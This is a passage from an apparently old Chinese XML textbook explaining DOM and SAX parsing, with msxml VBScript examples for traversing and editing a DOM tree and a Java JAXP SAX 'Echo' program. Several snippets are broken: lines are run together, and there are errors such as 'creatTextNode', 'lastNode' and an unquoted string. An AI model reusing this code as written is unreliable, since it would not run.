<P>DOM的全称是Document Object Model，也即文档对象模型。在应用程序中，基于DOM的XML分析器将一个XML文档转换成一个对象模型的集合（通常称DOM树），应用程序正是通过对这个对象模型的操作，来实现对XML文档数据的操作。通过DOM接口，应用程序可以在任何时候访问XML文档中的任何一部分数据，因此，这种利用DOM接口的机制也被称作随机访问机制。</P>
<P>DOM接口提供了一种通过分层对象模型来访问XML文档信息的方式，这些分层对象模型依据XML的文档结构形成了一棵节点树。无论XML文档中所描述的是什么类型的信息，即便是制表数据、项目列表或一个文档，利用DOM所生成的模型都是节点树的形式。也就是说，DOM强制使用树模型来访问XML文档中的信息。由于XML本质上就是一种分层结构，所以这种描述方法是相当有效的。</P>
<P><STRONG>SAX</STRONG></P>
<P>SAX的全称是Simple APIs for XML，也即XML简单应用程序接口。与DOM不同，SAX提供的访问模式是一种顺序模式，这是一种快速读写XML数据的方式。当使用SAX分析器对XML文档进行分析时，会触发一系列事件，并激活相应的事件处理函数，应用程序通过这些事件处理函数实现对XML文档的访问，因而SAX接口也被称作事件驱动接口。</P>
<P>　</P>
<P>DOM树所提供的随机访问方式给应用程序的开发带来了很大的灵活性，它可以任意地控制整个XML文档中的内容。然而，由于DOM分析器把整个XML文档转化成DOM树放在了内存中，因此，当文档比较大或者结构比较复杂时，对内存的需求就比较高。而且，对于结构复杂的树的遍历也是一项耗时的操作。所以，DOM分析器对机器性能的要求比较高，实现效率不十分理想。不过，由于DOM分析器所采用的树结构的思想与XML文档的结构相吻合，同时鉴于随机访问所带来的方便，因此，DOM分析器还是有很广泛的使用价值的。</P>
<P>SAX分析器在对XML文档进行分析时，触发了一系列的事件，由于事件触发本身是有时序性的，因此，SAX提供的是一种顺序访问机制，对于已经分析过的部分，不能再倒回去重新处理。SAX之所以被叫做"简单"应用程序接口，是因为SAX分析器只做了一些简单的工作，大部分工作还要由应用程序自己去做。也就是说，SAX分析器在实现时，它只是顺序地检查XML文档中的字节流，判断当前字节是XML语法中的哪一部分、是否符合XML语法，然后再触发相应的事件，而事件处理函数本身则要由应用程序自己来实现。同DOM分析器相比，SAX分析器缺乏灵活性。然而，由于SAX分析器实现简单，对内存要求比较低，因此实现效率比较高，对于那些只需要访问XML文档中的数据而不对文档进行更改的应用程序来说，SAX分析器更为合适。</P>
<P>综上所述，无论是DOM接口还是SAX接口，都各自有其优缺点。也正是如此，它们将长期并存下去，在不同的应用中发挥不同的作用。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.2.1 DOM的组成</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>对于XML应用开发来说，DOM就是一个对象化的XML数据接口，一个与语言无关、与平台无关的标准接口规范。它定义了HTML文档和XML文档的逻辑结构，给出了一种访问和处理HTML文档和XML文档的方法。利用DOM，程序开发人员可以动态地创建文档，遍历文档结构，添加、修改、删除文档内容，改变文档的显示方式等等。可以这样说，文档代表的是数据，而DOM则代表了如何去处理这些数据。无论是在浏览器里还是在浏览器外，无论是在服务器上还是在客户端，只要有用到XML的地方，就会碰到对DOM的应用。</P>
<P>作为W3C的标准接口规范，目前，DOM由三部分组成，包括：核心（core）、HTML和XML。核心部分是结构化文档比较底层对象的集合，这一部分所定义的对象已经完全可以表达出任何HTML和XML文档中的数据了。HTML接口和XML接口两部分则是专为操作具体的HTML文档和XML文档所提供的高级接口，使对这两类文件的操作更加方便。</P>
<P>目前，DOM有两个版本，一个是由W3C于1998年8月18日通过的DOM Level 1，另一个则是正在制定过程中的DOM Level 2，W3C已于2000年3月7日通过了DOM Level 2的候选推荐版本。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.2.2 DOM树</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>前面我们讲过，DOM为我们提供的访问XML文档信息的媒介是一种分层对象模型，而这个层次的结构，则是一棵根据XML文档生成的节点树。</P>
<P>一个XML分析器，在对XML文档进行分析之后，不管这个文档有多简单或者多复杂，其中的信息都会被转化成一棵对象节点树。在这棵节点树中，有一个根节点--Document节点，所有其他的节点都是根节点的后代节点。节点树生成之后，就可以通过DOM接口访问、修改、添加、删除、创建树中的节点和内容。</P>
<P>以我们非常熟悉的客户联系信息的例子来说明，下面给出一个XML文档片段：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version="1.0" encoding="gb_2312" ?&gt;<BR><BR>&lt;addressbook&gt;<BR>&lt;person sex = "male"&gt;<BR>&nbsp; &lt;name&gt;张三&lt;/name&gt;<BR>&nbsp; &lt;email&gt;zhs@xml.net.cn&lt;/email&gt;<BR>&lt;/person&gt;<BR><BR>&lt;person sex = "male"&gt;<BR>&nbsp; &lt;name&gt;李四&lt;/name&gt;<BR>&nbsp; &lt;email&gt;ls@xml.net.cn&lt;/email&gt;<BR>&lt;/person&gt;<BR>&lt;/addressbook&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>用DOM来表示这段文档，如图所示：</P><FONT face=宋体 size=3>
<P align=center><IMG height=275 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.3906/www.17t8.com/xmlbook/image/TU000000-0802-0200-01.gif" width=425></FONT></P>
<P>在这棵文档对象树中，文档中所有的内容都是用节点来表示的。一个节点又可以包含其他节点，节点本身还可能包含一些信息，例如节点的名字、节点值、节点类型等。文档中的根实际上也是一个元素，之所以要把它单独列出来，是因为在XML文档中，所有其他元素都是根元素的后代元素，而且根元素是唯一的，具有其他元素所不具有的某些特征。</P>
<P>这个例子比较简单，事实上，DOM中还包含注释、处理指令、文档类型、实体、实体引用、命名空间、事件、样式单等多种对象模型。</P>
<P>文档对象模型利用对象来把文档模型化，这些模型不仅描述了文档的结构，还定义了模型中对象的行为。换句话说，在上面给出的例子里，图中的节点不是数据结构，而是对象，对象中包含方法和属性。在DOM中，对象模型要实现： 
<UL>
<LI>用来表示、操作文档的接口 
<LI>接口的行为和属性 
<LI>接口之间的关系以及互操作<BR></LI></UL></DIV>
<P></P>
<DIV class=pt10><B>8.2.3 DOM的四个基本接口</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>在DOM接口规范中，有四个基本的接口：Document，Node，NodeList以及NamedNodeMap。在这四个基本接口中，Document接口是对文档进行操作的入口，它是从Node接口继承过来的。Node接口是其他大多数接口的父类，象Documet，Element，Attribute，Text，Comment等接口都是从Node接口继承过来的。NodeList接口是一个节点的集合，它包含了某个节点中的所有子节点。NamedNodeMap接口也是一个节点的集合，通过该接口，可以建立节点名和节点之间的一一映射关系，从而利用节点名可以直接访问特定的节点。下面将对这四个接口分别做一些简单的介绍。 
<OL>
<LI><STRONG>Document接口</STRONG> </LI></OL>
<P>Document接口代表了整个XML/HTML文档，因此，它是整棵文档树的根，提供了对文档中的数据进行访问和操作的入口。</P>
<P>由于元素、文本节点、注释、处理指令等都不能脱离文档的上下文关系而独立存在，所以在Document接口提供了创建其他节点对象的方法，通过该方法创建的节点对象都有一个ownerDocument属性，用来表明当前节点是由谁所创建的以及节点同Document之间的联系。</P>
<P>在DOM树中，Document接口同其他接口之间的关系如下图所示：</P><FONT face=宋体 size=3>
<P align=center><IMG height=309 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.0203/www.17t8.com/xmlbook/image/TU000000-0802-0300-01.gif" width=574></FONT></P>
<P>由图可以看出，Document节点是DOM树中的根节点，也即对XML文档进行操作的入口节点。通过Docuemt节点，可以访问到文档中的其他节点，如处理指令、注释、文档类型以及XML文档的根元素节点等等。另外，从上图我们还可以看出，在一棵DOM树中，Document节点可以包含多个处理指令、多个注释作为其子节点，而文档类型节点和XML文档根元素节点都是唯一的。</P>
<P>关于Document接口的IDL（Interface Definition Language接口定义语言）定义和其中一些比较常用的属性和方法的详细介绍在许多参考书都可以找到，我们将在后面结合实际例子给予介绍。 
<OL start=2>
<LI><STRONG>Node接口</STRONG> </LI></OL>
<P>Node接口在整个DOM树中具有举足轻重的地位，DOM接口中有很大一部分接口是从Node接口继承过来的，例如，Element、Attr、CDATASection等接口，都是从Node继承过来的。在DOM树中，Node接口代表了树中的一个节点。一个典型的Node接口如下图所示：</P><FONT face=宋体 size=3>
<P align=center><IMG height=394 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.0203/www.17t8.com/xmlbook/image/TU000000-0802-0300-02.gif" width=526></FONT></P>
<P>如图所示，Node接口提供了访问DOM树中元素内容与信息的途径，并给出了对DOM树中的元素进行遍历的支持。</P>
<P>同样，我们将在后面结合实际例子详细说明Node接口的具体使用方法。 
<OL>
<LI type=disc value=3><STRONG>NodeList接口</STRONG> </LI></OL>
<P>NodeList接口提供了对节点集合的抽象定义，它并不包含如何实现这个节点集的定义。NodeList用于表示有顺序关系的一组节点，比如某个节点的子节点序列。另外，它还出现在一些方法的返回值中，例如GetNodeByName。</P>
<P>在DOM中，NodeList的对象是"live"的，换句话说，对文档的改变，会直接反映到相关的NodeList对象中。例如，如果通过DOM获得一个NodeList对象，该对象中包含了某个Element节点的所有子节点的集合，那么，当再通过DOM对Element节点进行操作（添加、删除、改动节点中的子节点）时，这些改变将会自动地反映到NodeList对象中，而不需DOM应用程序再做其他额外的操作。</P>
<P>NodeList中的每个item都可以通过一个索引来访问，该索引值从0开始。 
<OL>
<LI type=disc value=4><STRONG>NamedNodeMap接口</STRONG> </LI></OL>
<P>实现了NamedNodeMap接口的对象中包含了可以通过名字来访问的一组节点的集合。不过注意，NamedNodeMap并不是从NodeList继承过来的，它所包含的节点集中的节点是无序的。尽管这些节点也可以通过索引来进行访问，但这只是提供了枚举NamedNodeMap中所包含节点的一种简单方法，并不表明在DOM规范中为NamedNodeMap中的节点规定了一种排列顺序。</P>
<P>NamedNodeMap表示的是一组节点和其唯一名字的一一对应关系，这个接口主要用在属性节点的表示上。<BR>与NodeList相同，在DOM中，NamedNodeMap对象也是"live"的。</P></DIV>
<P></P>
<DIV class=pt10><B>8.2.4.1 创建Document对象</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>通过上面的介绍，我们已经对DOM接口有了部分了解，那么，这些接口以及接口中的属性和方法又应该如何使用呢？这正是接下来所要讲述的内容。</P>
<P>如前所述，利用DOM，程序开发人员可以动态地创建文档，遍历文档结构，添加、修改、删除文档内容等等。在本节中，我们将通过微软的XML分析器msxml，对DOM接口的这些应用做一详细的介绍。<BR><BR>首先，我们来讲一下一切操作的基础——创建Document对象。通过创建Document对象，应用程序或者脚本就得到了对XML文档进行操作的入口。下面给出了使用不同的编程语言创建Document对象的范例。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%"><STRONG>JScript：</STRONG><BR>var doc = new ActiveXObject("Microsoft.XMLDOM") 
<P><STRONG>VB Script：</STRONG><BR>Dim docSet doc = CreateObject("Microsoft.XMLDOM")</P>
<P><STRONG>VB：</STRONG><BR>Dim doc As ObjectSet <BR>doc = CreateObject("Microsoft.XMLDOM")<BR>或者<BR>Dim doc As DOMDocumentSet doc = New DOMDocument</P>
<P><STRONG>VC：</STRONG><BR>HRESULT hr = CoCreateInstance<BR>(CLSID_DOMDocument,NULL,CLSCTX_INPROC_SERVER,IID_IXMLDocument(LPVOID*),&amp;m_pXMLDocument);</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>为了描述简单起见，在后面的例子中将只采用VBScript语言作为范例书写语言。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.2.4.2 加载XML文档</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>在Document对象创建之后，我们就得到了对文档进行操作的入口，那么，创建的这个文档对象是如何同实际的XML文档关联在一起的呢？说来可笑，在W3C的DOM接口规范中，没有任何一个地方定义了DOM中的接口对象同实际文档相关联的方法。因此，不同的XML分析器所提供的加载XML文档的方法也不尽相同。在微软的msxml中，提供了一个load方法来加载XML文档，建立DOM树同XML文档之间的关联。</P>
<P>依旧以联系人列表信息的XML文档.xml为例，可通过下述方式来加载文档：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">Dim myDocumentSet myDocument = CreateObject("microsoft.xmldom")myDocument.async = FalsemyDocument.load("client.xml")</TD></TR></TBODY></TABLE></CENTER></DIV>
<P align=left>XML文档被加载后，就在内存中形成了一棵DOM树，如图9-6所示：</P>
<P align=center><BR><IMG height=408 alt="TU000000-0802-0402-01.gif (8607 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.2078/www.17t8.com/xmlbook/image/TU000000-0802-0402-01.gif" width=567><BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.2.4.3 遍历XML文档</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>现在，我们已经可以通过DOM来创建XML文档对象，并加载XML文档了。对于已经加载的文档，我们要从文档中获取所需要的内容，这就要求能够通过DOM树来访问树中的任何一个节点，也就是对DOM树的遍历。下面我们依旧以client.xml为例，通过几个实例来说明如何遍历DOM树中的节点。</P>
<P>首先，我们要获取XML文档的根元素节点，用VBScript语言描述这个操作如下：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">root = myDocument.documentElement</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>该语句的实际含义如下图黄色箭头所示。</P><FONT face=宋体 size=3>
<P align=center><IMG height=261 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.7515/www.17t8.com/xmlbook/image/TU000000-0802-0403-01.gif" width=471></FONT></P>
<P>在得到了文档的根元素节点之后，我们又将如何访问其他元素呢？以文档中的第二个person元素为例，对该元素节点以及其子节点的访问可以通过下面的方式来实现：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">personNode = root.childNodes.item(1)<BR>nameNode = personNode.childNodes.item(0)<BR>textNode = nameNode.childNodes.item(0)<BR>theName = textNode.nodeValue</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>上述访问语句执行后，theName的值是"李四"。下图黄色箭头给出了这一访问过程的示意：</P><FONT face=宋体 size=3>
<P align=center><IMG height=308 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.7515/www.17t8.com/xmlbook/image/TU000000-0802-0403-02.gif" width=471></FONT></P>
<P>在上面的代码中，root是文档的根元素节点addressbook节点，personNode和nameNode都是元素类型的节点，textNode是TEXT类型的节点，theName是一个字符串。</P>
<P>childNodes是NodeList类型的属性，item是NodeList接口中Node类型的属性，通过item可以访问NodeList节点集合中的任意节点（这儿有一点需要注意，当我们要访问根元素节点addressbook的第二个person子节点personNode时，我们用的索引参数是"1"，这是因为item中的索引参数是从0开始的，如果我们要访问节点集合中的第一个节点，则应该用item(0)来表示）。</P>
<P>在DOM规范中，要访问元素节点的文本内容，需要先得到元素节点的TEXT子节点，再通过TEXT节点的属性获取文本内容。微软在实现DOM接口时对DOM进行了部分扩展，可以通过元素类型节点的text属性直接获得元素中的文本内容。具体实用说明可以参考微软msdn中的帮助。</P>
<P>上面的例子给出了如何访问DOM树中的元素节点，对于DOM树中的属性节点，访问方法略有不同，可以通过下面的语句来实现：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">attr = node.attributes.getNamedItem("sex")<BR>attrContent = attr.nodeValue</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>上述访问语句执行后，attrContent的值是"male"。下图用黄色箭头标出了这一访问的过程。</P><FONT face=宋体 size=3>
<P align=center><IMG height=261 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.7515/www.17t8.com/xmlbook/image/TU000000-0802-0403-03.gif" width=502></FONT></P>
<P>在上面的代码中，attr是属性类型的节点，attributes是NamedNodeMap类型的属性，getNamedItem是NamedNodeMap接口中的方法。属性的内容可以通过属性节点的nodeValue来获得。</P></DIV>
<P></P>
<DIV class=pt10><B>8.2.4.4 添加元素</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>目前，我们已经能够通过DOM获取XML文档中的信息了。如前所述，通过DOM还可以动态地更改XML文档中的内容。下面我们仍旧使用上面的client.xml文档，通过实例来说明如何更改XML文档中的内容。</P>
<P>假如我们希望在addressbook.xml中，给第一个person元素增添一个字符串为"北大方正"的company元素，实现这一添加元素操作的语句如下：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">node = root.childNodes.item(0)<BR>newNode = myDocument.createElement("company")<BR>node.insertBefore(newNode,node.lastNode)<BR>textNode = myDocument.creatTextNode("北大方正")<BR>node.childNodes.item(1).appendChild(textNode)</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面给出了添加元素的操作示意图：</P><FONT face=宋体 size=3>
<P align=center><IMG height=255 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.4031/www.17t8.com/xmlbook/image/TU000000-0802-0404-01.gif" width=546></FONT></P>
<P><BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.2.4.5 删除元素</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>现在，我们再把前一小节添加的元素删除，可通过下面的代码实现这一目的：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">node = root.childNodes.item(0)<BR>oldNode = node.removeChild(node.childNodes.item(1))</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>其中，oldNode中存放的是已被删除的节点。在删除某个节点时，以该节点为根的子树将整个被删除，因此得到的结果DOM树恢复原状。</P>
<DIV class=pt10><B>8.2.4.6 修改元素</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR>&nbsp;</P>
<DIV class=pt9>
<P>元素内容的改变包括元素名称、元素属性、元素所包含的文本内容等项目的改变。下面仅就元素所包含的文本内容的改变给出一个范例，其他内容的改变实现方法与此类似。</P>
<P>假如想把张三的电子邮件地址更改为zhs@pku.edu.cn，通过下列语句就可以实现：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">node = root.childNodes.item(0)<BR>emailNode = node.childNodes.item(0)<BR>emailNode.childNodes.item(0).nodeValue = zhs@pku.edu.cn</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面给出了修改后的效果：</P><FONT face=宋体 size=3>
<P align=center><IMG height=255 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.1484/www.17t8.com/xmlbook/image/TU000000-0802-0406-01.gif" width=501></FONT></P>
<P align=left>至此，我们已经把对DOM树的常用操作做了简单的介绍。一般说来，支持DOM的XML分析器通常会对DOM做一些扩展，这些扩展不属于DOM规范中的标准，但却给DOM树的操作带来了方便，不同的分析器所做的扩展也不尽相同，可以通过查询相关技术支持资料或者帮助来获取更多的信息。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8．3．1 SAX分析器接口简介</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>由前面介绍可知，SAX是一种事件驱动的接口，它的基本原理是由接口的用户提供符合定义的处理器，XML分析时遇到特定的事件，就去调用处理器中特定事件的处理函数。一般SAX接口都是用JAVA实现的，但事实上C++也可以用于实现SAX接口，只是C++的分析器比较少。之所以叫做"简单"应用程序接口，是因为这个接口确实非常简单，绝大多数事情分析器都没有做，需要应用程序自己去实现，因而开发者的任务也相应重一些。</P>
<P>SAX分析器的大体构成框架如图所示：</P>
<P align=center><IMG height=294 alt="TU000000-0803-0100-01.gif (12065 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.8063/www.17t8.com/xmlbook/image/TU000000-0803-0100-01.gif" width=240><FONT face=宋体 size=3></P></FONT>
<P>图中最上方的SAXParserFactory用来生成一个分析器实例。XML文档是从左侧箭头所示处读入，当分析器对文档进行分析时，就会触发在DocumentHandler，ErrorHandler，DTDHandler以及EntityResolver接口中定义的回调方法。</P>
<P>下面我们就对SAX分析器中的几个主要API接口作一简单的介绍。 
<UL>
<LI><STRONG>SAXParserFactory</STRONG> </LI></UL>
<P>SAXParserFactory对象用来按照系统属性中的定义创建一个分析器的实例，接口是Javax.xml.parser. SAXParserFactory。 
<UL>
<LI><STRONG>Parser</STRONG> </LI></UL>
<P>org.xml.sax.Parser接口定义了类似setDocumentHandler的方法来创建事件处理函数。另外，该接口中还定义了parser（URL）方法来对XML文档进行实际的分析工作。 
<UL>
<LI><STRONG>DocumentHandler</STRONG> </LI></UL>
<P>当分析器遇到XML文档中的标记时，就会激活该接口中的startDocument，endDocument，startElement以及endElement等方法。另外，characters方法以及processingInstruction方法也是在DocumentHandler接口中实现的。当分析器遇到元素内部的文本内容时就会激活characters方法，当分析器遇到处理指令时就会激活processingInstruction方法。 
<UL>
<LI><STRONG>ErrorHandler</STRONG> </LI></UL>
<P>当分析器在分析过程中遇到不同的错误时，ErrorHandler接口中的error、fatalError或者warning方法就会被激活。 
<UL>
<LI><STRONG>DTDHandler</STRONG> </LI></UL>
<P>当处理DTD中的定义时，就会调用该接口中的方法。 
<UL>
<LI><STRONG>EntityResolver</STRONG> </LI></UL>
<P>当分析器要识别由URI定义的数据时，就会调用该接口中的resolveEntity方法。<BR><BR>一个典型的SAX应用程序至少要提供一个DocumentHandler接口。一个健壮的SAX应用程序还应该提供ErrorHandler接口。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.3.2.1 生成应用程序框架</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>下面几节中我们利用SAX分析器读入一个XML文档，然后原样输出其内容，通过这个例子来分析一下SAX接口的应用。实际应用中我们往往要对XML数据做一些特定的处理来完成某种需求，一般不会把照原样输出读入的XML文档。不过，现在我们只是想通过一个具体的应用程序来解释如何应用SAX接口，这不失为一种简单而有效的方法。在示例分析过程中，我们采用的SAX分析器是SUN的JAXP，采用的编程语言是JAVA。</P>
<P>首先，我们创建一个名为Echo.java的文件，文件的基本框架为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">public class Echo extends HandlerBase{<BR>public static void main (String argv[]){<BR><STRONG>&nbsp; if (argv.length != 1) {<BR>&nbsp;&nbsp; System.err.println ("Usage: cmd filename");<BR>&nbsp;&nbsp; System.exit (1);<BR>&nbsp; }<BR>&nbsp; try {// Set up output <BR>&nbsp;&nbsp; streamout = new OutputStreamWriter (System.out, "GB2312");<BR>&nbsp; }catch (Throwable t) {<BR>&nbsp;&nbsp; t.printStackTrace ();<BR>&nbsp; }<BR>&nbsp; System.exit (0);</STRONG><BR>}<BR>static private Writer out;<BR>}</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在这段代码中，Echo类是从HandleBase继承过来的。在HandleBase中，实现了JAXP中的所有接口，这样，通过HandleBase的继承类，就可以重载所有我们所关心的方法，而对不关心的方法则采用缺省处理。</P>
<P>由于我们想把这个示例做成一个单独的完整的程序，因此需要一个main方法以及一个命令行参数（用来告诉应用程序对哪个XML文档进行操作）。代码中的黑体部分首先对命令行参数进行处理，获得XML文档的文件名，然后创建了一个文档输出流。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.3.2.2 引入需要的类</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>应用程序中将用到下面几个类包，需要在程序开始对其进行引入：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%"><STRONG>import java.io.*;<BR>import org.xml.sax.*;<BR>import javax.xml.parsers.SAXParserFactory; <BR>import javax.xml.parsers.ParserConfigurationException;<BR>import javax.xml.parsers.SAXParser;<BR></STRONG><BR>public class Echo extends HandlerBase{ <BR>...</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在这几个类包中，java.io中的类是用于输出的；org.xml.sax包中定义了SAX分析器中用到的所有接口；SAXParserFactory类用来创建所需要的分析器实例；如果SAXParserFactory不能按照配置选项创建合适的分析器，该类就会产生一个ParserConfigurationException异常；最后SAXParser是类工厂创建的分析器实例。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.3.2.3 创建分析器</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>引入上述类包之后，就可以创建分析器实例了，下面代码中的黑体部分就是分析器实例的创建过程：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">public static void main (String argv []) {<BR>if (argv.length != 1) {<BR>&nbsp; System.err.println ("Usage: cmd filename");<BR>&nbsp; System.exit (1);<BR>} <BR><STRONG>// Use the default (non-validating) parser<BR>SAXParserFactory factory = SAXParserFactory.newInstance();<BR></STRONG>try { // Set up output stream<BR>&nbsp; out = new OutputStreamWriter (System.out, "UTF8");<BR><STRONG>&nbsp; // Parse the input SAXParser<BR>&nbsp; saxParser = factory.newSAXParser();<BR>&nbsp; saxParser.parse( new File(argv [0]), new Echo() );<BR></STRONG>} catch (Throwable t) {<BR>&nbsp; t.printStackTrace ();<BR>}<BR>System.exit (0);<BR>}</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在上面黑体部分所标注的代码中，首先创建了一个SAXParserFactory的实例factory，然后由这个类工厂创建了一个分析器实例，并通过该分析器实例处理分析事件，得到要处理的文档。<BR></P></DIV>
<P></P>
<P>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#111111 cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=615>
<DIV class=pt10><B>8.3.2.4 实现DocumentHandler接口</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>DocumentHandler接口是我们要用到的一个最重要的JAXP接口，在该接口中，需要一系列的方法，这些方法是SAX分析器在对XML文档进行分析时遇到不同的分析事件所激发的相应处理。目前，主要用到五个方法：startDocument，endDocument，startElement，endElement，以及characters，下面黑体部分所标注的代码就是用来响应这五种事件处理的：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">...<BR>static private Writer out;<BR><STRONG>public void startDocument ()<BR>throws SAXException { }<BR>public void endDocument ()<BR>throws SAXException { }<BR>public void startElement (String name, AttributeList attrs)<BR>throws SAXException { }<BR>public void endElement (String name)<BR>throws SAXException { }<BR>public void characters (char buf [], int offset, int len)<BR>throws SAXException { }</STRONG><BR>...</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>当分析器遇到一个起始标记或者一个结束标记时，标记名就作为一个字符串变量传递给方法startElement和endElement。另外，当遇到起始标记时，起始标记所代表的元素的所有的属性都以AttributeList的形式传递给startElement方法。在一个元素内的字符以一个字符数组的形式传递给characters方法，在characters方法中还有另外两个参数，其中一个代表字符数组的长度，也即字符的个数，另一个参数代表元素内的第一个字符在字符数组中的偏移。</P>
<P>对于下面所示的XML文档：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version = "1.0"?&gt;<BR>&lt;addressbook&gt;<BR>&lt;person&gt;<BR>&nbsp; &lt;lastname&gt;Idris&lt;/lastname&gt;<BR>&nbsp; &lt;firstname&gt;Nazmul&lt;/firstname&gt;<BR>&nbsp; &lt;company&gt;The Bean Factory, LLC.&lt;/company&gt;<BR>&nbsp; &lt;email&gt;xml@beanfactory.com&lt;/email&gt;<BR>&lt;/person&gt;<BR>&lt;/addressbook&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>当对它利用SAX分析器中的DocumentHandler接口中的方法进行分析时，方法的调用时序如图所示：</P><FONT size=3>
<P align=center><FONT face=宋体><IMG height=525 alt="TU000000-0803-0204-01.gif (16103 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX24.3546/www.17t8.com/xmlbook/image/TU000000-0803-0204-01.gif" width=614></FONT></P>
<P align=center></FONT><FONT face=宋体 size=2>　</FONT></P><FONT size=2>
<DIV class=pt10><B>8.3.2.5 输出异常</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>每个DocumentHandler接口的方法都会产生SAXExceptions异常，但不会产生写文件时可能发生的IOExceptions异常。可是，由于SAXException可以封装其他异常，因此可以通过一个自定义的方法来处理异常。下面代码的黑体部分就是用来处理异常的函数：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">public void characters (char buf [], int offset, int Len)<BR>throws SAXException{ }<BR><BR><STRONG>private void emit (String s)<BR>throws SAXException{<BR>try {<BR>&nbsp; out.write (s);<BR>&nbsp; out.flush ();<BR>} catch (IOException e) {<BR>&nbsp; throw new SAXException ("I/O error", e);<BR>}<BR>}</STRONG><BR>...</TD></TR></TBODY></TABLE></CENTER></DIV>
